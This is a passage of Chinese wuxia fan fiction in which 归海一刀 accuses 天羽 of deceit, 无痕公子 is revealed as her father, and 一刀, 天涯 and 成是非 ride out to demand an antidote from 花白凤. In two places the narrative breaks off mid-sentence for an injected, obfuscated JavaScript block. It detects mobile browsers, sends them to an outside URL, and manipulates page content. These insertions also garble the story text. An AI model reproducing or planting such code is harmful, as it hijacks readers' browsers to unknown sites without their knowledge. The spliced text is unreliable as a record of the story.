正当天羽犹豫不决之时,狇雄已对受伤倒地的一刀举起刀刃。目睹了这一幕的天羽只觉得脑中一片空白,眼看着就要飞奔上去保护一刀,可天涯已先一步将人救下。 “你不必解释。”一刀冷笑道,“归海一刀何德何能,敢劳烦南教圣女违抗教主之命前来救我?” “你……你在说什么?”一刀的话语如同一盆冷水迎头泼下,天羽呆立原地,不知所措。 “袭击海棠的人是狇府二王爷狇雄,世上能够差遣狇府王爷的人,恐怕只有南教教主花白凤,你若当时出手相救,岂不是坏了计划?” “你什么意思?” 天羽终于听懂一刀话中所指,一瞬间,她只觉得一股委屈愤怒油然而生,想也不想地上前拉扯一刀的手臂。 “你觉得我所说的一切都在骗你,我是处心积虑地要害……” “难道不是吗?” 一刀大吼着,顺着天羽的拉扯猛然回身,一步步逼退天羽。一刀走出竹影,月光清晰地映照出他愤怒的面孔,眼中的火焰仿佛要将天羽灼伤。 “从金陵开始,你假扮被人追赶,骗我出手相救,来到滇南又把我引到临州,这一路上你所说的哪一句不是谎言?还有海棠……情蛊是你们南教秘术,你也为海棠诊脉,怎么可能发现不了?你却只字不提,你敢说海棠眼下所受之苦不是你们南教所为?” 一刀的话语如同无数利箭直逼天羽,天羽强忍着哭腔,大声反驳: “情蛊是很高深的秘术,我修为不够,母亲还没有教我,我当然无法察觉!” “那狇雄呢?你昨晚早就认出袭击之人是狇雄,为什么不告诉我?” “我……我昨晚是认出二王爷,可我当时是真的以为他要杀的人是你,所以我拼了命地保护你啊!我不知道他为什么要杀你,但……我隐隐猜出可能和母亲有关,我不知道该怎么和你说……但是,今早我听你和母亲说的那些话,我又猜想或许母亲真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292483|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正针对的是上官海棠,所以我立刻赶来告诉你!你想想,如果我要害她,何必多此一举?” 此话一出,一刀愣住了,他低眉思索,转瞬又冷笑一声,道: “这就要问你了。” “什么意思?” 一刀上前一步,目光直逼天羽,道: “你想嫁给我,是吗?” “我……” 再次提到这个话题,天羽瞬间面如火烧,她与一刀四目相对,却见一刀眼中毫无情意,只有冰冷的嘲讽。 “真没想到我归海一刀能够得到南教圣女如此青睐!”一刀继续冷笑道,“从你假扮被人拐骗,引我来滇南,一路上接近我,其实早就计划好要拉拢我,是吧?我第一次到临仙阁的那场戏也是设计好的吧?没想到南教教主竟是如此不惜代价,为了离间护民山庄,舍得利用自己的女儿施展美人计!” “你……” “你们见美人计不成,就设计施恩于我。你表面上用移花接木大法为我解毒,可你早就知道移花接木大法的缺陷,现在这股真气在我体内无法化解,我要想活命就只能听你们的加入南教。” “你怎能这么说?我用移花接木大法是为了救你,害你中毒的是巫帮帮主,又不是我叫他来袭击……” “不是吗?”一刀冷冷打断,不顾天羽的辩解,“原本我就奇怪,巫帮被南教欺压多年,只能躲进凤鸣山中苟且度日,巫帮帮主哪来的胆子突然敢对南教圣女下手?你敢说这一切不是你们设计好的?” “……” “我中毒之后,你立刻击杀巫帮帮主。这样一来,我体内蛊毒没有解药,只有依靠移花接木大法。你为我解毒,既能向我施恩,又能进一步威胁。你们甚至提出让我做什么南教姑爷,目的也是为了离间护民山庄。” “还有海棠……”言及海棠,一刀眼中杀气骤现,“花白凤施法令海棠复活是为了对付无痕公子,但是又担心这会影响你们的美人计,所以给她种下情蛊,又施迷魂法让她失去记忆。本来一切都按照你们的计划,但是花白凤没想到途中会遇上成是非,以致海棠下落不明。在石溪镇的计划被海棠搅乱之后,花白凤已经动了杀心,但这也让我得知海棠的踪迹。于是你跟着我赶来临州,把我引到花神之宴,让我亲眼看见海棠和别的男人在一起。” “不是……” “花神之宴上,狇雄表面上袭击我,却不过是障眼法,让我以为是江湖寻仇,害怕连累海棠,选择离去。花白凤趁机向我提亲,被拒之后,她知道我对海棠仍有情义,所以想杀了海棠以绝后患。你告诉我海棠遇险,不过也是你们的伎俩。我若晚去一步,海棠被……被害……你以为我就会死心,你也可以再凭借之前的恩情接近我,是不是?” 一刀步步紧逼,以缜密的逻辑拼凑出与事实不尽相同的推论,叫天羽无从辩解,她只能强忍眼中泪水,拉着一刀的手臂哀求道: “不是的!真的不是……别的事情我不知道……可我真的……真的没有想过害你!” 面对天羽的哀求,一刀无动于衷,他用力挣脱天羽的拉扯,后退一步,语气极尽嘲讽: “当初在金陵我就不该救你。若我不出手,你是否任由那些贼人将你擒住?我真想看看,高贵的南教圣女,是否会为了演戏,任人……” 一刀的话语越发难听,如同冰刀扎在天羽心上。天羽只觉得一股热血上头,抬手对着一刀就是一巴掌扇去。 随着手掌上火辣辣的痛感,一直强忍着的泪水终于倾泻而出,天羽紧咬双唇,咬出了血往肚子里咽,仍倔强地不肯哭出声来。 这一巴掌力道之大,打得一刀的脸歪向一侧,却也令他清醒不少。一刀调整呼吸,稳定心神,等他再回过头来,眼中已不见愤怒,取而代之的是前所未有的寒意。 “虽然这一巴掌不足以还圣女之恩,不过眼下也顾不得许多。” 说话间,一刀将手按在刀柄上,缓缓出鞘的刀刃泛着幽光。 “你……你要干什么?” 天羽觉察不对,不由得向后退缩。 夜风骤起,搅动竹影,一刀的面容在冰冷的月光和黑暗的竹影交替映照之下,阴晴不明。 “我本不想伤你。可事关海棠,我总要赌一赌。就看花白凤是更在乎她的计谋,还是她唯一的女儿。” 一刀的话语冰冷至极,让天羽不由得背脊发凉。说到底,以眼下一刀的伤势,他绝不是天羽的对手。可天羽被这股杀气震慑,只能怔怔地看着刀刃落下。 就在千钧一发之时,一道银光电射而至,“叮”的一声震歪刀锋。天羽被这一声惊醒,侧身一跃,刀锋落下,劈开她身后的竹子。 紧接着,一道白影飘落,挡在一刀与天羽之间。 是你!” 一刀一眼认出来人,正是无痕公子。 “不许伤她!” “为什么?” 一刀见无痕公子张臂护着天羽,怒火愈盛,也顾不上言语敬畏。 “海棠是被魔教所害,你为何要护着她?她是魔教圣女,只要擒住她,就能逼花白凤交出情蛊解药。” “我说不行就是不行!” 无痕公子厉声喝止,相比于一刀的怒吼,他的语气之中更显一股坚定的决心。 “无论发生什么,我都不会让人伤她一根头发!” 无痕公子已顾不上一刀愤怒与困惑,他见天羽低头站在身后,一声不响,急忙上前察看。 “你没事吧?” 无痕公子见天羽身体摇摇欲坠,心下慌乱,正想伸手扶她,岂料一道紫电忽然袭来,无痕公子来不及闪躲,等他回过神来,手背上已多了一道深深的鞭痕。 天羽转身向竹林外飞奔,一刀最先反应过来,飞身追去,无痕公子也紧跟其后。此时的一刀已然被愤怒和焦急冲昏头脑,顾不得许多,他将全部内力汇集刀刃,只一挥,寒光乍现,刀气疾飞。天羽听风辨位,足尖一踏,纵身一跃,刀气贴着她的身体飞过,霎时间,原本茂密的竹林被生生斩出一条通路。 天羽跳出竹林之外,刚才这一番打斗惊动所有人。一瞬间,无数的弓箭对准天羽。 “住手!都住手!” 无痕公子急忙喝止守卫。这些守卫奉命保护云萝,自然不听无痕公子号令,虽未攻击,但仍张弓搭箭直指天羽。 眼见深陷重重弓箭包围,而天涯、飘絮、成是非、云萝等人也闻声赶来,若真动起手来,天羽绝难逃脱。可天羽似乎毫不在意眼前危机,她怔怔地看着被斩开的竹林通路,想象若刚才自己没有及时躲开这一刀,该会怎么样? “怕是……死无全尸了吧……”天羽喃喃念道。 可奇怪的是,天羽并未觉得恐惧,甚至连刚刚充斥心中的委屈都消失得无影无踪,取而代之的是一片空白的绝望。 “真是好刀法……不愧是天下第一刀!” 一抹怪异的弧度由天羽的嘴角浮现,渐渐化为悲凉的笑声。天羽仰天大笑,眼中溢满的泪水映射冰冷的月光,再度投向一刀。 “这就是你说的不想伤我?” 对此,一刀只是沉默以对。 “天羽……” 眼见天羽情绪几近崩溃,无痕公子心急如焚,想走近安慰她,却不料又一鞭子抽来。无痕公子吓得后退一步,因为比起刚才受惊之下的还击,这一鞭已带有强烈的杀气。 “你闭嘴!”面对无痕公子殷切的关心,天羽反而放声怒骂,“不许叫我的名字!你这样忘恩负义的家伙不配做我的父亲!” 天羽喊得声嘶力竭,其他人听得一清二楚,霎时间,所有人都被这突如其来的信息所震惊,而无痕公子似乎也无意遮掩。 “我只想补偿你们……” “少来这套!” 天羽一边挥舞长鞭驱赶无痕,一边后退。她愤怒的目光转向一刀,却见一刀神情除了震惊之外只有冷漠,最终悲凉一笑。 “看来,母亲说得没错,世间男人都是忘恩负义、狼心狗肺的家伙。也好……也好……” 天羽再度低头含胸,喃喃自语。众人见天羽失魂落魄的模样,一时间不知所措。就在众人犹疑的一瞬间,一枚药丸由天羽袖间滑落,迸裂释放出滚滚浓烟,刺目呛鼻。众人纷纷掩捂口鼻后退,唯独一刀箭步冲入浓烟之内,伸手要擒拿天羽。岂料一道寒光袭来,正是无痕公子,只见他手持一柄白玉短剑,即使在刺目浓烟之中,仍能分毫不差地点中一刀掌心“劳宫穴”。一刀顿感手臂酸麻,动弹不得。正当二人僵持之时,天羽已逃出包围。 天羽落在百步之外的竹林顶端,她逆着光,轻盈窈窕的身姿映在月辉之中,容貌美艳,却面如寒冰。 “归海一刀……”她依旧声如银铃,却已透着深深寒意,“事到如今,你既不信我,我也不再辩解。你说我骗你也好,害你也罢,我都无所谓,反正我就是魔教妖女!刚才那一刀……就当是了结你我之间的恩怨,等下次再见,你我就是敌人!” 20. 同袍蹈火海 公子话前因 一夜过去,众人皆是无眠。 昨夜天羽闯入,山谷位置已然暴露,理当尽快离开。可眼下形势却不允许,临州北思楼已然叛变,就近找不到其他合适藏身之地,若赶去临近州府,且不说海棠中毒昏迷,一刀与成是非身受重伤,也经不起长途奔波。尤其是成是非,昨夜骚乱之后,成是非伤情反复,被请去无痕公子营帐治疗,云萝紧跟在旁。无痕公子为成是非针灸艾炙,推血过宫,折腾了一晚,天方微亮时方才结束。 “成是非,你怎么样了?好点了吗?” 云萝守在一旁,也是彻夜未眠,但此刻顾不得疲惫,赶紧拧了一方温热汗巾为成是非擦脸。成是非自然是得了便宜还卖乖,顺势靠着云萝的肩膀撒起娇来。 “哎呦!郡主老婆,这一晚上可折腾死我了,又是打坐又是运功调息的。”说着成是非举起胳膊,指着上面的针痕,“你看,无能公子都快把我扎成刺猬!” 眼见成是非又是这般言语轻浮抱怨,在一旁侍候梅琴不禁恼怒,瞪了一眼,而无痕公子却不恼,反而笑吟吟地看着这对恩爱的小夫妻。 云萝也感觉到一旁的视线,不免尴尬,指尖戳了戳成是非脑门,教训道: “你正经点,人看着呢!再说了,无痕公子整夜为你疗伤,辛苦也是人家,你叫嚷什么?”云萝面向无痕,赔笑道,“前辈辛劳一夜,我已命厨子炖了一锅人参鸡汤,一会儿叫人送来。” “也有你一份!”说着,云萝不忘悄悄掐了一把成是非,而成是非也不抱怨喊痛,反而甜蜜一笑。 “不劳郡主费心,我自有调养之法。”说着,无痕公子接过梅琴递来的药茶,见云萝神色尴尬,笑道,“郡主不必多想,我并未介意。成少侠是三通的儿子,相助何言辛苦?只是刚才见到你们,我想起了当年的古三通和素心……” 言至此处,无痕公子目光忽转黯淡,言语中不禁多了几分惋惜。 “想三通当年痴迷武学,四处挑战高手,时有负伤,可每当素心姑娘照顾之时,他却好强拒绝。如今想来,你的父亲若有你一半坦率,结局当大不一样。” 言及自己的父亲,成是非一改调笑嬉戏的态度,立刻端正身子,认真问道: “听前辈所说,似乎对我的父母很了解。请问,你当年与我父亲是朋友吗?” “是,二十年前,我与三通,还有无……铁胆神侯三人相识于太湖之畔,结为挚友,而当时素心姑娘追随三通,故而我也与她有过几面之缘。” “那……魔教教主花白凤呢?也和我父亲是朋友吗?” 此言一出,无痕公子神色瞬间凝滞,梅琴也察觉这一点,不由得怒视成是非。 “成少侠何以这么问?” “因为昨晚那圣女说她是你的女儿,而前辈又是我父亲的好友,所以我就想那魔教教主花白凤会不会也认识我的父亲?当年……” “你够了……”眼见成是非刨根问底,梅琴厉声喝止,却被无痕公子拦下。 “算了,事关自己的父亲,成少侠想知道也是人之常情。”无痕公子宽和一笑,但眼神中颇有几分为难,“诚如少侠所说,我与白凤二十年前有过一段情缘,天羽是我们二人的女儿,因此当年白凤与三通也算是相识,只是若说朋友……” “所以当年到底是怎么回事?” “此事说来话长,一时间……” 眼见无痕公子支支吾吾说不出个所以然,可成是非仍不死心,正要继续追问,却感觉耳朵被用力一扯。 “说来话长就是说来话长,这都不懂,我平时白教你读书啦!”云萝一边用力扯着成是非的耳朵,一边陪着笑脸,“真是抱歉,无痕公子辛苦一夜,我们还在此叨扰!请公子安心休息,我们先告辞了!” 说着,云萝拉着成是非要往外走。可没走几步,又被无痕公子叫住。成是非转身回来,只见无痕公子已然起身,将一本小册子亲自交由成是非。成是非看着书面,惊道: “金刚不坏神功!” “正是。”无痕公子淡然一笑,随后郑重道,“这本册子是当年三通交由我保管,如今回到成少侠的手上,也算是物归其主。成少侠身上伤势,虽说是白凤造成,但究其根源,还是因为你的金刚不坏神功根基不稳、运用不当所致。据段庄主所说,成少侠的金刚不坏神功是三通直接将功力传授于你而练成,而当年三通曾嘱咐你切不可使用金刚不坏神功超过五次,对吗?” “是啊!我一直想不明白为什么老爹要骗我?” “据我猜测,三通如此也是为少侠着想。”无痕公子语重心长道,“自古以来,上乘武功越是威力巨大,其修行越是凶险。当年三通修练金刚不坏神功,数年方有小成。而少侠的金刚不坏神功乃是三通直接将内力传授于你,虽免去耗时修炼,却根基不稳,三通之所以骗你金刚不坏神功一生只能使用五次,一来是出于顽童之心,二来也是担心少侠滥用神功,既有可能误伤无辜,也会引火自焚。” “我也没乱用啊!老爹就这么不信任我。” “无论如何,如今少侠使用金刚不坏神功已超过五次,虽说运用已日渐纯熟,但根基不牢仍是隐患。这本册子当年三通托付给我,这些年来我亦对其钻研精进,少侠按照书中心法要诀修炼,我相信以少侠资质,假以时日,定能大成。说到底,以如今形势,与南教一战在所难免,你的金刚不坏神功或许是唯一能与南教绝学抗衡之法。” “抗衡?” 正所谓言者无心,听者有意,无痕公子自言自语的一句话,却挑起成是非心中疑惑。 “有一件事我怎么也想不明白。都说金刚不坏神功刀枪不入,是天下第一武功,就连铁胆神侯都不知道罩门在哪儿,那花白凤是如何知道破解之法?还有前辈说金刚不坏神功是唯一抗衡的办法,你又是怎么知道?当年……” 眼看问题兜兜转转又绕了回来,所幸云萝及时在成是非又一次鲁莽发言之前揪住他的耳朵。 “聊着聊着又耽误了这么久,真是失礼!我们就不打扰前辈休息,告辞!” 说罢,云萝拉着成是非往外走。这一次,无痕公子没有挽留,只是对着成是非的背影说了一句: “我明白成少侠心中疑虑,只是有些答案不便说出,有些时候未到,而还有一些不该由我来说,我只恳求少侠能够信任身边之人,切莫一失足而抱憾终身。” 无痕公子此话说得语重心长,但在成是非听来实在太过玄妙,他还未理出个所以然,便被云萝揪着耳朵拖到了账外。 “哎呀,好了,老婆!再扯耳朵就掉了!” “你少来!我都没用力,哪儿就这么容易掉了!”云萝看着成是非嘟着嘴一脸委屈的模样,不禁心头一软,却还是绷着脸教训道,“我不把你拽出来,就你这张嘴啊,还不知道闯什么祸呢!” “我哪有闯祸?不过多问了几句……” “我知道,你是想问清楚公公婆婆过去的故事。”云萝语气渐缓,可眼神之中却流露出几分担忧,“无痕公子是唯一过去与公公婆婆相识之人,可你看无痕公子刚才的神色,明显有所保留,你再追问也是没用。更何况……” 说话间,云萝看向另一侧的一刀海棠所在的营帐,小声道: “现在着急要问的问题这么多,都不肯说,又怎么会……” “哎呀呀,人家都说女人生了孩子以后大变样,看来是真的!”成是非眼见云萝一脸凝重、欲言又止的模样,赶紧打趣道,“郡主老婆,你以前可是从来不会想这么多事情!你这样老是皱着眉头,容易长皱纹的,要是孩子们长大了管你叫奶奶,那可怎么办啊!” 眼看着成是非这幅嬉皮笑脸不正经的模样,云萝本来该恼,却不自觉地被逗笑了。本想憋着,又憋不住,急得抬手就往成是非腰间一掐。而成是非也是一面叫痛,一面往云萝身上靠,顺势把云萝搂进怀里。 “好了,郡主老婆,我知道你在担心什么?”成是非厚实的臂膀抱着云萝,柔声安慰道,“眼下发生这么多事,你心里不安我明白。可说到底,无痕公子是海棠的师父,我相信他不会害海棠的!” “你说得轻巧!就因为他是海棠的师父,才更加奇怪!明明……” 说话间,云萝再度看向无痕公子的营帐。云萝初见无痕公子是在石溪镇,那时无痕公子极力维护尚未见面的天羽,已经令云萝生疑。随后又说海棠复生,临州遇险,急需相救,云萝本是不信,可因天涯在旁,又事关海棠,只好照办。现在回想,才发现无痕公子向他们隐瞒太多,他知海棠遇险,却不言明是何危险,他与魔教恩怨纠葛,却只字不提,甚至眼下海棠命悬一线,也毫无作为。如此种种,外加昨晚亲耳听见无痕公子承认与魔教圣女的关系,叫云萝怎能不忧虑? “我知道!海棠现在这样,我也很担心!”成是非轻轻拍着云萝的肩膀,“可现在着急也没有啊!海棠中的是蛊毒,现在只能靠无痕公子想办法,既然只有无痕公子能救海棠,我们只能信任他!” “可是……” “有些事情,人家不说是有人家的苦衷。他是无痕公子,又不是神仙,总会犯错,总有难处。像那样心思九弯十八绕聪明人的苦恼,我们是不会明白的。既然不明白,又何必费心去想呢?海棠是我们的朋友,我们只管尽自己能力帮她,至于其他的事情就交给老天爷吧!” 明明是要教训他,结果反倒让他来安慰自己!云萝心里好笑,却也觉得十分温暖。待人至诚,毫无心机,明明已然身为大内密探,却仍有着一颗赤子之心。云萝想起成是非初入护龙山庄所受的考验,就是被她和天涯一刀联手所演的一场蹩脚戏码所骗,天真也好,愚蠢也罢,这才是成是非,才是云萝所钟爱的丈夫! 眼见云萝面色松融不少,成是非抓紧机会又往云萝肩头一靠,撒起娇来: “哎呀,我的好老婆,话说得这么久,都快饿死我了!你说炖了鸡汤,在哪儿呢?” “就你嘴馋!少不了你那份!”云萝佯装生气地戳了戳成是非的额头,却还是挽着他往厨房走去。 相比于成是非、云萝的甜蜜恩爱,另一对夫妻则没有如此轻松的气氛。 经过天羽大闹,谷中守备大乱。天羽闯谷及逃离所用的迷烟虽然无毒,却十分奇特,乍闻刺鼻,细查却有一股奇异的味道,似是酒香,能令中者筋酥骨软,力气消散。如此一来,守卫兵力大减。可一刀守着海棠寸步不离,成是非依靠不上,无痕公子忙着治病救人而分身乏术,于是重担全落在天涯肩上。从昨夜至今,天涯先是安排救治中了迷烟的士兵,同时还要重新调配守卫轮值,紧接着亲自探查山谷四周地形,部署防御阵型,一番忙碌下来,直至天亮,天涯未有片刻合眼。 等到一切安顿,天涯带着疲惫回到自己的营帐。一进帐门,只见矮桌一侧一抹青色身影。她一见天涯,连忙起身相迎。 “你回来了!”飘絮小心翼翼地整理衣裙,又理了理鬓发,账内烛火温暖明亮,却也清楚地照出她憔悴的面色,“你一晚上辛苦了,我从厨房拿了些早点,有你最喜欢的梅菜包子,你吃一点吧!” “不用了……我想起来,还未检查后勤粮草帐篷,此处马虎不得,得赶紧去看看!你先吃吧!” 说着,天涯转身要向外走。 “天涯哥哥!” 飘絮急切呼喊,再也难掩哭腔。复活之后的一个多月以来,这样的情景已不知经历了多少次,每当飘絮想要靠近他,哪怕只是一顿早饭、一杯茶,他都不肯接受。 “你就这么恨我吗?” “飘絮……”天涯背对着她,“你是我的妻子,是郎儿的母亲,无论你做了什么,我都不会恨你。” “可你也不会原谅我,对吗?” “飘絮,你应该乞求原谅的人不是我。我也是罪孽之身,哪有资格原谅你?” 天涯语气平静,可对于飘絮则宛如钢刀扎心。她想起昨夜天涯在一刀面前那重重一跪,再听天涯所说的“罪孽之身”。“是啊!若此心结无法解开,天涯无法坦然面对故友,她和天涯将永远无法恢复如初。 天涯似乎也察觉自己话说太过,踌躇再三,回身走到飘絮面前,解下身上披风,披在飘絮身上。 “山谷清晨寒冷,你该注意身体!”隔着温暖的披风,飘絮感觉到天涯宽厚的大手正握着自己的肩头,“郎儿如今已经两岁了,会走会说会写字。等这一切尘埃落定,若我还……我们就回去看郎儿!” 飘絮已然记不清多久没有和天涯这般亲近,死而复生令她恍若隔世,可回忆过往又历历在目,如今,她感受着披风内的温度,看着眼前本该熟悉的容颜,却发现天涯的发间已平添许多斑白。一时间,庆幸、懊悔等种种感情涌上心头,只叫她泪如雨下。 若将目光再转向另一处营帐,这里的气氛已不能说是凝重,而是几近绝望。 自昨夜天羽逃去之后,一刀回到营帐之中,一言不发地坐在榻上将海棠揽入怀中,便一动不动。营帐四面无窗,仅有一盏油灯照明,因此身在帐中,不知日升月落,时光流转。天涯、成是非、云萝先后进来,或是察看状况,或是送些吃食,他们试着向一刀搭话,可一刀莫说开口搭理,甚至毫无反应。众人纷纷感慨,也不免担忧,可别这中毒之人没救活,另一人早已失了魂魄。其实不然,对于归海一刀而言,恐怕终其一生都没有现在这般感官敏锐的时候。 一刀怀抱着海棠,如同那个雨夜一样,怀中之人双目紧闭、身体冰冷,无论他如何以内力温暖也不见半分起色,他不知该如何做,只能紧抱不放,全神贯注地仔细聆听,依靠那仅剩的一丝微弱气息告诉自己,她还活着! 也不知过了多久,似乎片刻不到,又似乎万年已过,一袭白影飘然入帐,正是无痕公子的侍女梅琴,只见梅琴将热气腾腾的吃食放下,转身再看一刀这幅模样,最终忍不住开口。 “你再这样,海棠也不会醒来!” 简单的一句话,却直击死穴。一刀不禁躯体一颤,最终抬头,眼中尽是无力的愤恨。 “你这样,是在后悔,还是自责?恨自己没有保护好海棠,两次!”眼见一刀无言反驳,梅琴继续说道,“你觉得以你现在的模样,能救海棠?” “那到底怎样才能救海棠,你倒是说说啊!”一刀再也无法克制,声音随着情绪一同爆发。 面对一刀的愤怒,梅琴仅是平静地从袖中摸出一枚玉瓶和一本册子。而一刀一眼认出那枚玉瓶,正是昨夜亲眼见过。 “哈,这就是无痕公子的办法?”一刀悲凉一笑,“这样能救海棠?” “不,是在救你!” “谁要他救?我是求他……”一刀气得霍然起身,直逼梅琴。 “那你就去死吧!”面对一刀气势汹汹的逼近,梅琴浑然不惧,身形不动,毫不留情地言语回击,“反正以你现在的伤势,也撑不了几天。你既然如此懦弱,不如现在就拔出那把举世无双的汗血宝刀往脖子一抹,一了百了。左不过日后海棠醒来,我就劝她所选非人、另择佳偶便是。” 一刀被气得说不出话来,梅琴则继续说道: “都说归海一刀乃英雄豪侠,如今一看,当真名不副实!眼下海棠危在旦夕,可你在做什么?失而复得已是难得,可你竟然拱手相让,将海棠独自置于危险之中。以为她很安全,为了她的幸福,这不过是你的借口!你害怕自己一身血债为她引来灾祸,却忘了海棠原本也是江湖儿女,若她当真贪生怕死,当初又怎会为你闯少林、逃婚宴,不惜与铁胆神侯为敌?” “我……”面对这一连串指责,一刀无从辩解,又无力地瘫坐榻上。 “医术并非仙法,眼下谁也不敢保证海棠一定能够得救,但至少都在尽己所能,若你真是不愧海棠对你的情义,就好好想想自己能做些什么吧?” 说罢,梅琴毅然转身离去,只留一盏被风搅乱的灯火。 灯火摇曳,映在一刀眼中,也映照着海棠沉睡的面容。方才一刀被言语激怒,起身得急,弄乱海棠的秀发。他爱怜地为她理平,端详着灯火之下的睡容,沉静秀美,却不是他记忆中的开朗活泼、时时洋溢着乐观与朝气的模样。一时间,千言万语涌至唇边,但最后只化为短短两个字: “海棠……”随着某个决定在心中落地,一刀俯身在海棠额前轻轻一吻,“这回轮到一刀,无论你去哪里,我都会陪着你!无论发生什么,我都不会再放手!” 又过一日,天色微明,山谷中浓雾如幕,寒气侵肌。谷口值守的士兵正感神思困倦之际,忽听得一阵马蹄声由远及近,心下大惊,可再一细听,那蹄声由谷内传来,疑惑犹豫之时,一袭玄色身影纵马奔来,势如疾风,一跃而过,转瞬间消失于浓雾彼端。值守侍卫连忙遣同伴回去通报,可转念一想,不禁疑惑,刚才那人不正是归海一刀?这个时候骑马离去,究竟有何打算? 再看一刀。出了山谷,迷雾渐散,河滩平原之上,一刀纵马疾驰,却忽听闻身后异响,于是他猛拉缰绳,拔出宝刀,回身一斩,凌厉的刀气划破寒风,落在身后数丈开外的岩石上,裂石数分,惊退身后追赶的马匹。此刀迅猛霸道,但相较一年以前将马儿一分而二的刀法,已然少了几分戾气,因此来人面不改色,挽缰勒马,沉沉开口道: “一刀……” “天涯、成是非,你们跟来做什么?” “那你呢?你这时候离开要做什么?”眼见一刀沉默不答,天涯继续追问,“你是要去临仙阁,找花白凤要解药,对吗?” “是。” “前日,也是在这河滩之上,我听花白凤话中有话,对你多是威胁,我问你一句,花白凤此前是否已向你提出条件?” “她让我娶她的女儿,做南教姑爷。” 此话一出,天涯瞬间惊呆,一旁的成是非更是稳不住,急忙喊道: “不是吧!拿自己的女儿做交易的筹码,这是什么下三滥的条件!等等……一刀你不是打算答应吧?你别傻……” 成是非义愤填膺,却被天涯抬手制止,问道: “你决心已定?” 一刀沉默不语。 “我们三人一同长大,你对海棠的情义我是看在眼里,我知道你着急,可眼下还……” “不到时候?”这下,轮到一刀打断天涯,锐声问道,“那要如何才到时候?等死了以后吗?天涯,同样是失而复得,你该懂我的感受!” 短短一句话,却刺中天涯心中痛处,他无从反驳,最终只能叹息道: “是啊!我又有什么资格责备你呢?将心比心,若我是你,恐怕也……” “轮到我问你了。南教作恶多端,若我应了花白凤的条件,等于背叛朝廷,若是让皇帝知道,必定牵连护民山庄,天涯,到那时你要怎么做?” “我说了,我们三人从小一起长大,情同手足,你肯为海棠如此牺牲,我受些猜疑又算什么?我效忠朝廷,是为了不辜负这一身武艺。皇上那儿我自会去请罪,你不必记挂,天大的罪过,我一人承担。” 天涯此所言豪情万丈,叫人听了不由得敬佩。可一刀却只是苦笑,道: “有时,我真不知该是敬你,还是气你?你觉得眼下一切全因你的妻子飘絮而起,所以想将一切罪责揽在身上吗?你以为我叫你一声大哥,是要你事事替我挡着吗?别自作多情了,一年前,柳生飘絮的确对海棠下杀手,可眼下海棠体内的情蛊,却是花白凤造成的。今日无论我做出任何决定,都是出于我的意志,用不着你来为我担负罪责?你放心,我去临仙阁是逼花白凤交出解药,我不会答应她的条件。” 说着,一刀以无比坚定眼神回望天涯。 “这项交易无论对谁都不公平。失而复得已是难得,无论结果如何,我都不会再放手。” “那万一……我是说万一,万一此行无法成功,花白凤决计不肯交出解药,亦或是等你赶回来时海棠已经……你将如何?” “归海一刀恩怨分明,不会胡乱迁怒他人,有仇报仇,我必叫那花白凤血债血偿!” 一刀话语掷地有声,虽饱含愤怒,可仔细看他的双目,眼神清明,并无半分戾气。天涯心中感慨亦羞愧,虽然一刀将自己唤为“大哥”,自己也以兄长自居,总想事事为他谋划,可最终他还是不了解这位义弟。如今的归海一刀,早已不是一年前被仇恨蒙蔽、滥开杀戒的魔刀,而是真正成为一名有情有义、恩怨分明的侠客,反倒是自己以小人之心猜度于他。 “话已至此,我该走了。”说罢,一刀牵动缰绳,调转马头,准备再度出发。 “等等!”天涯及时唤住一刀,“一刀,我不是泼你冷水,可你觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292484|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得以你现在的武功能够战胜花白凤吗?” “你不必担心。无痕公子昨日已传我心法和丹药,助我修炼,如今我体内的罡气已然化解,功力恢复得十之八九。” “即使如此,你也没有必胜把握。一刀,你见过花白凤的武功,她既然能破解成是非的金刚不坏神功,也必定有法子对付你的绝情斩。说实话,就算在你以往全盛之时,恐怕也未必能够胜她。” “就算如此,我也要一试。大不了……” “或许不必如此!” 天涯并未让一刀再说下去,只见他策马徐徐向前,走到一刀身边。 “你以为我是要来拦你的吗?虽然你说用不着我替你担负罪责,可只要你叫我一声大哥,你们的安危便是我的责任。” 天涯字字铿锵,一刀惊讶地回头望去,只见天涯一向儒雅随和的双目之中,多了几分刚毅之气。 “既然你意已决,那就让我陪你同闯临仙阁。虽然我的武功不如你,但你我联手,总能多几分胜算。无论最终结果如何,大哥都会与你一同担着。” 说罢,天涯已伸出右掌,而一刀并未犹疑,左掌回握天涯。两掌相握,情义尽在不言之中。 “等等,别忘了还有我啊!” 眼看天涯、一刀双掌相握,成是非赶紧出声,他本想策马上前,可惜骑术不精,那马儿怎么也不听他的,索性下马上前,跳起来双手攥住二人的手。 “一刀,你放心,有我们三大密探在,还怕她什么乌鸡白凤的,绝对把她打得满地找牙!再不成,就一把火烧了她的家,看她敢不交出解药!” 成是非依旧是嬉笑怒骂,可眼神十分坚定,这让一刀心中一暖。虽然前路茫茫,凶险难料,但至少此刻,归海一刀的身边仍有两位朋友相伴。 再看另一头,一刀单骑出谷之后,值守士兵匆忙通报,紧接着天涯和成是非也跟随一刀而去。护卫队长一时失了主意,眼下谷内防守正是薄弱,三位掌事之人又同时离去,虽然云萝郡主尚在谷中,却不能指望由她掌事。 为难之际,护卫队长想起大名鼎鼎的春梦了无痕公子正在谷中,于是急忙前去禀报。只是刚走到营帐前,被一名白衣侍女拦下。 